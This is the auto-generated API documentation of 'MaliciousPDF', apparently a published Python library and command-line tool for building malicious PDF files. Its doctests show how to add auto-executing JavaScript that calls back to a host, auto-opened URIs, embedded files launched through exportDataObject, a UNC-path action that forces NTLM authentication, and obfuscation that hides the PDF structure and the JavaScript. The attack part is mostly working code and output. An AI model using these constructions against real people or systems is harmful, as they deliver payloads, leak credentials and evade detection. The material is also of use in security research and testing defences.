MaliciousPDF (version 0.0.1)
index
MaliciousPDF.py

This file implements a library and a tool to make malicious PDF files
 
~# python3 MaliciousPDF.py --help
~# python3 MaliciousPDF.py
~# python3 MaliciousPDF.py -f 'test.pdf' -t 'JS' -p 'app.alert("test");' -b 'My body' -T 'My title' -o -v '1.7' -a 'MyName' -d '2016-06-22 16:53:45' -i 'Title' -P 'Not MaliciousPDF'
 
Ressources:
 - PDF file:
     https://www.oreilly.com/library/view/developing-with-pdf/9781449327903/ch01.html
     https://gendignoux.com/blog/2016/10/04/pdf-basics.html
     https://blog.idrsolutions.com/make-your-own-pdf-file-part-4-hello-world-pdf/
     https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art019
     https://speakerdeck.com/ange/lets-write-a-pdf-file?slide=24
 - PDF lib:
     https://github.com/johndoe31415/llpdf/
 - PDF commons attacks:
     https://blog.nviso.eu/2016/11/30/pdf-uris/
     https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py
     https://blog.nviso.eu/2016/12/28/pdf-analysis-back-to-basics/
     https://resources.infosecinstitute.com/topic/analyzing-malicious-pdf/
     https://blog.nviso.eu/2018/07/03/extracting-a-windows-zero-day-from-an-adobe-reader-zero-day-pdf/
 - PDF exploits examples:
     https://blog.nviso.eu/2018/07/26/shortcomings-of-blacklisting-in-adobe-reader-and-what-you-can-do-about-it/
     https://github.com/jonaslejon/malicious-pdf/blob/main/malicious-pdf.py
     https://github.com/RUB-NDS/PDF101/
 
~# coverage run -m doctest -v MaliciousPDF.py
113 tests in 66 items.
113 passed and 0 failed.
Test passed.
~# coverage report
Name              Stmts   Miss  Cover
-------------------------------------
MaliciousPDF.py     369      1    99%
-------------------------------------
TOTAL               369      1    99%

 
Classes
       
abc.ABC(builtins.object)
PdfStream
PdfStreamText
builtins.Exception(builtins.BaseException)
StreamError
builtins.list(builtins.object)
PdfList
builtins.object
MaliciousEmbeddedFile
MaliciousJS
MaliciousJsFile
MaliciousNTLM
MaliciousURI
PdfBoolean
PdfDictionary
PdfFile
PdfName
PdfNull
PdfObject
PdfObjStm
PdfString
Position

 
class MaliciousEmbeddedFile(builtins.object)
    MaliciousEmbeddedFile(catalog: MaliciousPDF.PdfObject, filedata: _io._IOBase, filename: str, nLaunch: int = 2, **kwargs)
 
This class adds a malicious Embedded File in the PDF file.
 
Attributes: pdffile, catalog, filedata, filename, nLaunch, embeddedfile, filespec, javascript
 
>>> from io import StringIO
>>> from urllib.request import urlopen
>>> pdffile, catalog, outlines, pages, page = pdf_bases("MaliciousEmbeddedFile.pdf")
>>> file = StringIO('this is my payload') or open('payload.txt') or urlopen('http://127.0.0.1:8000/payload.txt')
>>> malpdf = MaliciousEmbeddedFile(catalog, file, "payload.txt")
>>> str(malpdf.catalog)
'<</Type/Catalog/Outlines 3 0 R/Pages 4 0 R/OpenAction 8 0 R/Names<</EmbeddedFiles<</Names[(payload\\056txt) 7 0 R]>>>>>>'
>>> str(malpdf.filespec)
'<</Type/Filespec/F(payload\\056txt)/EF<</F 6 0 R>>>>'
>>> str(malpdf.javascript)
'<</Type/Action/S/JavaScript/JS(this\\056exportDataObject\\050\\173cName\\072 \\047payload\\056txt\\047\\054nLaunch\\0722\\175\\051\\073)>>'
>>> str(malpdf.embeddedfile.dictionary)
'<</Type/EmbeddedFile>>'
>>>
 
  Methods defined here:
__init__(self, catalog: MaliciousPDF.PdfObject, filedata: _io._IOBase, filename: str, nLaunch: int = 2, **kwargs)
Initialize self.  See help(type(self)) for accurate signature.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class MaliciousJS(builtins.object)
    MaliciousJS(catalog: MaliciousPDF.PdfObject, javascript: MaliciousPDF.PdfString)
 
This class adds malicious JS auto-opened in the PDF catalog.
 
Attributes: file, catalog
 
>>> javascript = "app.launchURL('http://127.0.0.1:8000/?malpdf');"
>>> js_string = PdfString(javascript)
>>> file, catalog, outlines, pages, page = pdf_bases("MaliciousJS.pdf")
>>> malpdf = MaliciousJS(catalog, js_string)
>>> r"/OpenAction<</S/JavaScript/JS(app\056launchURL\050\047http\072\057\057127\0560\0560\0561\0728000\057\077malpdf\047\051\073)" in str(malpdf.catalog)
True
>>>
 
  Methods defined here:
__init__(self, catalog: MaliciousPDF.PdfObject, javascript: MaliciousPDF.PdfString)
Initialize self.  See help(type(self)) for accurate signature.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class MaliciousJsFile(builtins.object)
    MaliciousJsFile(catalog: MaliciousPDF.PdfObject, javascript_file: _io._IOBase, **kwargs)
 
This class adds malicious JS auto-opened in the PDF catalog.
 
Attributes: file, catalog, javascript, action
 
>>> from re import search
>>> from io import StringIO
>>> from urllib.request import urlopen
>>> javascript = "Net.HTTP.request({cVerb: 'GET', cURL: 'http://127.0.0.1:8000/?malpdf'})" # Net.HTTP.request is a unsecure function, test it in %APPDATA%\Adobe\Acrobat\Privileged\DC\Javascripts\*.js
>>> js_string = StringIO(javascript) or open('malicious.js') or urlopen('http://127.0.0.1:8000/malicious.js')
>>> file, catalog, outlines, pages, page = pdf_bases("MaliciousJsFile.pdf")
>>> malpdf = MaliciousJsFile(catalog, js_string)
>>> search("/OpenAction \d+ 0 R", str(malpdf.catalog)) is not None
True
>>> search(r"/Filter\[/FlateDecode /ASCIIHexDecode\]/Length \d+>>stream\n[\x00-\xff]+\nendstream", str(malpdf.javascript)) is not None
True
>>> search("<</Type/Action/S/JavaScript/JS \d+ 0 R>>", str(malpdf.action)) is not None
True
>>>
 
  Methods defined here:
__init__(self, catalog: MaliciousPDF.PdfObject, javascript_file: _io._IOBase, **kwargs)
Initialize self.  See help(type(self)) for accurate signature.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class MaliciousNTLM(builtins.object)
    MaliciousNTLM(page: MaliciousPDF.PdfObject, document: MaliciousPDF.PdfString)
 
This class adds a malicious remote document to perform a NTML authentication.
 
Attributes: file, page, document
 
>>> document = "\\\\localhost\\malpdf"
>>> file, catalog, outlines, pages, page = pdf_bases("MaliciousNTLM.pdf")
>>> malpdf = MaliciousNTLM(page, PdfString(document))
>>> r'/AA<</O<</F(\\\\localhost\\malpdf)/S/GoToE/D[0 /Fit]>>>>' in str(malpdf.page)
True
>>>
 
  Methods defined here:
__init__(self, page: MaliciousPDF.PdfObject, document: MaliciousPDF.PdfString)
Initialize self.  See help(type(self)) for accurate signature.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class MaliciousURI(builtins.object)
    MaliciousURI(catalog: MaliciousPDF.PdfObject, uri: MaliciousPDF.PdfString)
 
This class adds a malicious URI auto-opened in the PDF catalog.
 
Attributes: file, catalog, uri
 
>>> url = 'http://127.0.0.1:8000/?malpdf'
>>> file, catalog, outlines, pages, page = pdf_bases("MaliciousURI.pdf")
>>> malpdf = MaliciousURI(catalog, url)
>>> url in str(malpdf.uri)
True
>>> ('/OpenAction ' + " ".join(str(x) for x in malpdf.file.get_ref(malpdf.uri)) + " R") in str(malpdf.catalog)
True
>>>
 
  Methods defined here:
__init__(self, catalog: MaliciousPDF.PdfObject, uri: MaliciousPDF.PdfString)
Initialize self.  See help(type(self)) for accurate signature.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfBoolean(builtins.object)
    PdfBoolean(value: bool)
 
This class implements a PDF Boolean value.
 
>>> str(PdfBoolean(True))
'true'
>>> str(PdfBoolean(False))
'false'
>>>
 
  Methods defined here:
__init__(self, value: bool)
Initialize self.  See help(type(self)) for accurate signature.
__str__(self)
Return str(self).

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfDictionary(builtins.object)
    PdfDictionary(file: ~PdfFile, parent: ~PdfObject = None, type_: MaliciousPDF.PdfName = None, subtype: MaliciousPDF.PdfName = None, content: ~PdfObject = None, kids: MaliciousPDF.PdfList = None, count: int = None, filters: MaliciousPDF.PdfList = None, values: Dict[MaliciousPDF.PdfName, Union[~PdfType, str, NoneType]] = None)
 
This class implements basic PDF dictionary.
 
>>> file = PdfFile('')
>>> object = PdfObject(PdfDictionary(file))
>>> file.add_objects(object)
>>> test = PdfDictionary(file)
>>> test.add_kids(object)
>>> test.add_value(PdfName('Test'), 'test')
>>> str(test)
'<</Kids[2 0 R]/Test test>>'
>>> str(PdfDictionary(file, parent = object))
'<</Parent 2 0 R>>'
>>> str(PdfDictionary(file, type_ = PdfName('type')))
'<</Type/type>>'
>>> str(PdfDictionary(file, subtype = PdfName('subtype')))
'<</Subtype/subtype>>'
>>> str(PdfDictionary(file, content = object))
'<</Contents 2 0 R>>'
>>> str(PdfDictionary(file, kids = PdfList((PdfName('abc'), PdfString('def')))))
'<</Kids[/abc (def)]>>'
>>> str(PdfDictionary(file, count = 1))
'<</Count 1>>'
>>> str(PdfDictionary(file, filters = PdfList((PdfName('abc'), PdfString('def')))))
'<</Filter[/abc (def)]>>'
>>> str(PdfDictionary(file, values = {PdfName('abc'): 'test', PdfName('abc'): None, PdfName('abc'): object}))
'<</abc test/abc/abc 2 0 R>>'
>>> str(PdfDictionary(file, values = {PdfName('abc'): Exception()}))
Traceback (most recent call last):
    ...
TypeError: Value Exception() (name: /abc) must be 'PdfType', 'str' or 'None'.
>>>
 
  Methods defined here:
__init__(self, file: ~PdfFile, parent: ~PdfObject = None, type_: MaliciousPDF.PdfName = None, subtype: MaliciousPDF.PdfName = None, content: ~PdfObject = None, kids: MaliciousPDF.PdfList = None, count: int = None, filters: MaliciousPDF.PdfList = None, values: Dict[MaliciousPDF.PdfName, Union[~PdfType, str, NoneType]] = None)
Initialize self.  See help(type(self)) for accurate signature.
__str__(self)
Return str(self).
add_kids(self, *kids: ~PdfObject) -> None
This method adds item in PDF dictionary.
add_value(self, name: MaliciousPDF.PdfName, value: Union[~PdfType, str, NoneType] = None) -> None
This method adds item in PDF dictionary.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfFile(builtins.object)
    PdfFile(filename: str, version: float = 1.7, author: MaliciousPDF.PdfString = None, date: datetime.datetime = None, title: MaliciousPDF.PdfString = &lt;MaliciousPDF.PdfString object at 0x7fbe48951360&gt;, producer: MaliciousPDF.PdfString = &lt;MaliciousPDF.PdfString object at 0x7fbe48951270&gt;)
 
This class implements a PDF file.
 
>>> file = PdfFile('test.pdf')
>>> file.add_objects(PdfObject(PdfDictionary(file, type_=PdfName("Catalog"))))
>>> file.write()
>>> data = open('test.pdf', 'rb').read()
>>> data.startswith(b'%PDF-1.7\n%\xe2\xe3\xcf\xd3\n1 0 obj\n<</Title(Malicious PDF)/Producer(MaliciousPDF)/Author(')
True
>>> data.endswith(b')>>\nendobj\n2 0 obj\n<</Type/Catalog>>\nendobj\nxref\n0 3\n0000000000 65535 f \n0000000015 00000 n \n0000000148 00000 n \ntrailer\n<</Size 3/Root 2 0 R/Info 1 0 R>>\nstartxref\n181\n%%EOF\n')
True
>>>
 
  Methods defined here:
__init__(self, filename: str, version: float = 1.7, author: MaliciousPDF.PdfString = None, date: datetime.datetime = None, title: MaliciousPDF.PdfString = <MaliciousPDF.PdfString object at 0x7fbe48951360>, producer: MaliciousPDF.PdfString = <MaliciousPDF.PdfString object at 0x7fbe48951270>)
Initialize self.  See help(type(self)) for accurate signature.
add_objects(self, *pdfobjects: MaliciousPDF.PdfObject) -> None
This method adds a PDF object to the file.
get_compressed_xref_table(self, index: int, positions: List[MaliciousPDF.Position], root: MaliciousPDF.PdfObject) -> str
This method makes a compressed Xref object.
get_ref(self, pdfobject: MaliciousPDF.PdfObject) -> Tuple[int, int]
This method returns the object index and version.
get_xref_table(self, index: int, positions: List[MaliciousPDF.Position], root_id: int) -> str
This method makes the basic Xref table.
write(self) -> None
This method writes the PDF file.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfList(builtins.list)
    PdfList(iterable=(), /)
 
This class implements a PDF List.
 
>>> str(PdfList((PdfName('abc]'), 0, 1.1, -5, PdfNull(), PdfBoolean(True), PdfBoolean(False), PdfList((PdfString('abc ['),)))))
'[/abc#5d 0 1.1 -5 null true false [(abc \\133)]]'
>>> str(PdfList((Exception(),)))
Traceback (most recent call last):
    ...
TypeError: Element must be "PdfNull", "PdfBoolean", "int", "float", "PdfList", "PdfName", "PdfObject" or "PdfString". Not 'Exception' (Exception())
>>>
 
 
Method resolution order:
PdfList
builtins.list
builtins.object

Methods defined here:
__str__(self)
Return str(self).

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

Methods inherited from builtins.list:
__add__(self, value, /)
Return self+value.
__contains__(self, key, /)
Return key in self.
__delitem__(self, key, /)
Delete self[key].
__eq__(self, value, /)
Return self==value.
__ge__(self, value, /)
Return self>=value.
__getattribute__(self, name, /)
Return getattr(self, name).
__getitem__(...)
x.__getitem__(y) <==> x[y]
__gt__(self, value, /)
Return self>value.
__iadd__(self, value, /)
Implement self+=value.
__imul__(self, value, /)
Implement self*=value.
__init__(self, /, *args, **kwargs)
Initialize self.  See help(type(self)) for accurate signature.
__iter__(self, /)
Implement iter(self).
__le__(self, value, /)
Return self<=value.
__len__(self, /)
Return len(self).
__lt__(self, value, /)
Return self<value.
__mul__(self, value, /)
Return self*value.
__ne__(self, value, /)
Return self!=value.
__repr__(self, /)
Return repr(self).
__reversed__(self, /)
Return a reverse iterator over the list.
__rmul__(self, value, /)
Return value*self.
__setitem__(self, key, value, /)
Set self[key] to value.
__sizeof__(self, /)
Return the size of the list in memory, in bytes.
append(self, object, /)
Append object to the end of the list.
clear(self, /)
Remove all items from list.
copy(self, /)
Return a shallow copy of the list.
count(self, value, /)
Return number of occurrences of value.
extend(self, iterable, /)
Extend list by appending elements from the iterable.
index(self, value, start=0, stop=9223372036854775807, /)
Return first index of value.
 
Raises ValueError if the value is not present.
insert(self, index, object, /)
Insert object before index.
pop(self, index=-1, /)
Remove and return item at index (default last).
 
Raises IndexError if list is empty or index is out of range.
remove(self, value, /)
Remove first occurrence of value.
 
Raises ValueError if the value is not present.
reverse(self, /)
Reverse *IN PLACE*.
sort(self, /, *, key=None, reverse=False)
Sort the list in ascending order and return None.
 
The sort is in-place (i.e. the list itself is modified) and stable (i.e. the
order of two equal elements is maintained).
 
If a key function is given, apply it once to each list item and sort them,
ascending or descending, according to their function values.
 
The reverse flag can be set to sort in descending order.

Class methods inherited from builtins.list:
__class_getitem__(...) from builtins.type
See PEP 585

Static methods inherited from builtins.list:
__new__(*args, **kwargs) from builtins.type
Create and return a new object.  See help(type) for accurate signature.

Data and other attributes inherited from builtins.list:
__hash__ = None

 
class PdfName(builtins.object)
    PdfName(name: str)
 
This class implements a PDF Name.
 
>>> str(PdfName('abc def'))
'/abc#20def'
>>> hash(PdfName('abc')) != hash(PdfName('abc'))
True
>>> PdfName(None)
Traceback (most recent call last):
    ...
TypeError: name must be a "str", not 'NoneType' (None)
>>>
 
  Methods defined here:
__hash__(self)
Return hash(self).
__init__(self, name: str)
Initialize self.  See help(type(self)) for accurate signature.
__str__(self)
Return str(self).

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

Data and other attributes defined here:
characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
counter = 0

 
class PdfNull(builtins.object)
    This class implements a PDF Null value.
 
>>> str(PdfNull())
'null'
>>>
 
  Methods defined here:
__str__(self)
Return str(self).

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfObjStm(PdfObject)
    PdfObjStm(*args, compress: bool = True, asciihex: bool = True, **kwargs)
 
This class adds an Objects Stream to a PDF.
 
/!\ This class is experimental, only works with Google Chrome for now.
 
>>> from io import StringIO
>>> javascript = StringIO("app.alert('Test');")
>>> file = PdfFile('objstm.pdf')
>>> file, catalog, outlines, pages, page = pdf_bases(file)
>>> objstm = PdfObjStm(file, compress=False, asciihex=False)
>>> file.add_objects(objstm)
>>> objstm.add_elements()
>>> js = MaliciousJsFile(catalog, javascript)
>>> objstm.add_elements(js.action)
>>> str(objstm)
'<</Type/ObjStm/Length 42/N 1/First 4>>stream\n7 0\n<</Type/Action/S/JavaScript/JS 8 0 R>>\nendstream'
>>>
 
 
Method resolution order:
PdfObjStm
PdfObject
builtins.object

Methods defined here:
__init__(self, *args, compress: bool = True, asciihex: bool = True, **kwargs)
Initialize self.  See help(type(self)) for accurate signature.
__str__(self)
Return str(self).
add_elements(self, *elements: MaliciousPDF.PdfObject) -> None
This method adds dictionaries to ObjStm.

Methods inherited from PdfObject:
add_stream(self, stream: Union[MaliciousPDF.PdfStream, bytes], compress: bool = None, asciihex: bool = None) -> None
This method adds stream in PdfObject.

Data descriptors inherited from PdfObject:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfObject(builtins.object)
    PdfObject(dictionary: MaliciousPDF.PdfDictionary, stream: Union[MaliciousPDF.PdfStream, bytes] = None, compress: bool = True, asciihex: bool = True)
 
This class implements PDF object and generates stream.
 
>>> file = PdfFile('')
>>> test = PdfDictionary(file)
>>> object = PdfObject(test)
>>> file.add_objects(object)
>>> object.add_stream(b'abc', True, True)
>>> object.add_stream(b'abc', True, True)
Traceback (most recent call last):
    ...
MaliciousPDF.StreamError: This PdfObject already contains a stream.
>>> str(object)[:58]
'<</Filter[/FlateDecode /ASCIIHexDecode]/Length 15>>stream\n'
>>> str(object)[-10:]
'\nendstream'
>>> str(PdfObject(PdfDictionary(file), b'abc', False, False))
'<</Length 3>>stream\nabc\nendstream'
>>> str(PdfObject(PdfDictionary(file), b'abc', False, True))
'<</Filter[/ASCIIHexDecode]/Length 7>>stream\n616263>\nendstream'
>>> test = PdfObject(PdfDictionary(file))
>>> test.add_stream(PdfStreamText(PdfString("abc"), (100, 700)), False, True)
>>> str(test)
'<</Filter[/ASCIIHexDecode]/Length 83>>stream\n4254202f4631203132205466203130302037303020546420313520544c0a286162632920546a0a4554>\nendstream'
>>>
 
  Methods defined here:
__init__(self, dictionary: MaliciousPDF.PdfDictionary, stream: Union[MaliciousPDF.PdfStream, bytes] = None, compress: bool = True, asciihex: bool = True)
Initialize self.  See help(type(self)) for accurate signature.
__str__(self)
Return str(self).
add_stream(self, stream: Union[MaliciousPDF.PdfStream, bytes], compress: bool = None, asciihex: bool = None) -> None
This method adds stream in PdfObject.

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfStream(abc.ABC)
    This class implements the ABC class for PDF stream.
 
 
Method resolution order:
PdfStream
abc.ABC
builtins.object

Methods defined here:
__bytes__(self)
>>> PdfStream.__bytes__(None)
>>>

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

Data and other attributes defined here:
__abstractmethods__ = frozenset({'__bytes__'})

 
class PdfStreamText(PdfStream)
    PdfStreamText(data: MaliciousPDF.PdfString, position: Tuple[int, int], text_size: int = 12, line_size: int = None, outline: bool = False)
 
This class implements a PDF Stream to write Text in PDF file.
 
>>> bytes(PdfStreamText(PdfString("abc"), (100, 700)))
b'BT /F1 12 Tf 100 700 Td 15 TL\n(abc) Tj\nET'
>>> bytes(PdfStreamText(PdfString("abc\ndef"), (100, 700), 24, 28, True))
b"BT /F1 24 Tf 100 700 Td 28 TL\n(abc) Tj\n(def) '\nET\n94 730 64 -68 re S"
>>> bytes(PdfStreamText(PdfString("abc\ndef"), (1, 2), 24, 28, True))
b"BT /F1 24 Tf 1 2 Td 28 TL\n(abc) Tj\n(def) '\nET\n0 0 64 -68 re S"
>>>
 
 
Method resolution order:
PdfStreamText
PdfStream
abc.ABC
builtins.object

Methods defined here:
__bytes__(self)
>>> PdfStream.__bytes__(None)
>>>
__init__(self, data: MaliciousPDF.PdfString, position: Tuple[int, int], text_size: int = 12, line_size: int = None, outline: bool = False)
Initialize self.  See help(type(self)) for accurate signature.
get_outline(self) -> bytes
This function make outline data.

Data and other attributes defined here:
__abstractmethods__ = frozenset()

Data descriptors inherited from PdfStream:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

 
class PdfString(builtins.object)
    PdfString(data: Union[str, bytes])
 
This class implements a PDF string.
 
>>> str(PdfString('abc\n\)'))
'(abc\\n\\\\\\051)'
>>> print(str(PdfString('abc\n\)')))
(abc\n\\\051)
>>> str(PdfString(b'abc'))
'<616263>'
>>> hash(PdfString(b'abc')) != hash(PdfString(b'abc'))
True
>>> PdfString(None)
Traceback (most recent call last):
    ...
TypeError: name must be a "str" or "bytes", not 'NoneType' (None)
>>>
 
  Methods defined here:
__hash__(self)
Return hash(self).
__init__(self, data: Union[str, bytes])
Initialize self.  See help(type(self)) for accurate signature.
__str__(self)
Return str(self).

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

Data and other attributes defined here:
characters = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\ '
counter = 2

 
class Position(builtins.object)
    Position(index: int = None, in_objstm_id: int = None, in_objstm_index: int = None) -&gt; None
 
Position(index: int = None, in_objstm_id: int = None, in_objstm_index: int = None)
 
  Methods defined here:
__eq__(self, other)
Return self==value.
__init__(self, index: int = None, in_objstm_id: int = None, in_objstm_index: int = None) -> None
Initialize self.  See help(type(self)) for accurate signature.
__repr__(self)
Return repr(self).

Data descriptors defined here:
__dict__
dictionary for instance variables (if defined)
__weakref__
list of weak references to the object (if defined)

Data and other attributes defined here:
__annotations__ = {'in_objstm_id': <class 'int'>, 'in_objstm_index': <class 'int'>, 'index': <class 'int'>}
__dataclass_fields__ = {'in_objstm_id': Field(name='in_objstm_id',type=<class 'int'>,def...appingproxy({}),kw_only=False,_field_type=_FIELD), 'in_objstm_index': Field(name='in_objstm_index',type=<class 'int'>,...appingproxy({}),kw_only=False,_field_type=_FIELD), 'index': Field(name='index',type=<class 'int'>,default=No...appingproxy({}),kw_only=False,_field_type=_FIELD)}
__dataclass_params__ = _DataclassParams(init=True,repr=True,eq=True,order=False,unsafe_hash=False,frozen=False)
__hash__ = None
__match_args__ = ('index', 'in_objstm_id', 'in_objstm_index')
in_objstm_id = None
in_objstm_index = None
index = None

 
class StreamError(builtins.Exception)
    
Method resolution order:
StreamError
builtins.Exception
builtins.BaseException
builtins.object

Data descriptors defined here:
__weakref__
list of weak references to the object (if defined)

Methods inherited from builtins.Exception:
__init__(self, /, *args, **kwargs)
Initialize self.  See help(type(self)) for accurate signature.

Static methods inherited from builtins.Exception:
__new__(*args, **kwargs) from builtins.type
Create and return a new object.  See help(type) for accurate signature.

Methods inherited from builtins.BaseException:
__delattr__(self, name, /)
Implement delattr(self, name).
__getattribute__(self, name, /)
Return getattr(self, name).
__reduce__(...)
Helper for pickle.
__repr__(self, /)
Return repr(self).
__setattr__(self, name, value, /)
Implement setattr(self, name, value).
__setstate__(...)
__str__(self, /)
Return str(self).
with_traceback(...)
Exception.with_traceback(tb) --
set self.__traceback__ to tb and return self.

Data descriptors inherited from builtins.BaseException:
__cause__
exception cause
__context__
exception context
__dict__
__suppress_context__
__traceback__
args

 
Functions
       
add_text(page: MaliciousPDF.PdfObject, text: str, position: Tuple[int, int], font: str = 'Helvetica', compress: bool = True, **kwargs) -> None
This function adds text to PDF page.
init_obfuscation() -> None
This function changes variables to obfuscate PDF files.
 
>>> init_obfuscation()
>>> str(PdfName("abc"))
'/#61#62#63'
>>> str(PdfString("abc"))
'(\\141\\142\\143)'
>>>
javascript_obfuscation(javascript: str) -> str
This function obfuscates javascript (very basic obfuscation).
 
>>> javascript_obfuscation("abc")
'eval("\\x61\\x62\\x63");'
>>>
pdf_bases(file: Union[str, MaliciousPDF.PdfFile], **kwargs) -> Tuple[MaliciousPDF.PdfFile, MaliciousPDF.PdfObject, MaliciousPDF.PdfObject, MaliciousPDF.PdfObject, MaliciousPDF.PdfObject]
This function makes PDF basics objects, adds it in the PDF file and returns the PDF file and the basics objects.
 
returns: PdfFile(The PDF file objet), PdfObject(PDF catalog), PdfObject(PDF outlines), PdfObject(PDF pages) and PdfObject(PDF page)
pdf_obfuscation(file: MaliciousPDF.PdfFile) -> str
This file obfuscates PDF file with ObjStm.
 
>>> file, catalog, outlines, pages, page = pdf_bases("obfuscation.pdf")
>>> pdf_obfuscation(file)
>>> in_streams = [x.in_objstm is None for x in file.objects]
>>> in_streams.count(False)
5
>>> in_streams.count(True)
1
>>>

 
Data
        __all__ = ['StreamError', 'Position', 'PdfNull', 'PdfBoolean', 'PdfString', 'PdfName', 'PdfList', 'PdfDictionary', 'PdfStream', 'PdfObject', 'PdfFile', 'PdfStreamText', 'PdfObjStm', 'MaliciousURI', 'MaliciousJS', 'MaliciousJsFile', 'MaliciousNTLM', 'MaliciousEmbeddedFile', 'add_text', 'pdf_bases', ...]
__author_email__ = 'mauricelambert434@gmail.com'
__copyright__ = '\nMaliciousPDF Copyright (C) 2022, 2023 Maurice...ome to redistribute it\nunder certain conditions.\n'
__description__ = 'This file implements a library and a tool to make malicious PDF files'
__license__ = 'GPL-3.0 License'
__maintainer__ = 'Maurice Lambert'
__maintainer_email__ = 'mauricelambert434@gmail.com'
__url__ = 'https://github.com/mauricelambert/MaliciousPDF'

 
Author
        Maurice Lambert